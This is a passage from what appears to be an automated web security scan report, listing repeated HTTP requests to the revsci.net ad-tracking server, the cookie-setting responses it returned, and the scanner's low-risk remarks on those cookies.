rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVIxEbWkv8fV+8er9duzVms+8pMh; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:24 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b4&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:24 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:24 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/605657366.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LC16GSieI1VkRva98=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:36 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e647c&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:36 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:35 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/664658967.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl+HSaKI0VkQza9E=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:12 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a0&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:12 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:12 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/669682607.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCV6GSaeI0VkRfa9g=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:56 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6490&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:56 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:55 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/686809393.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQ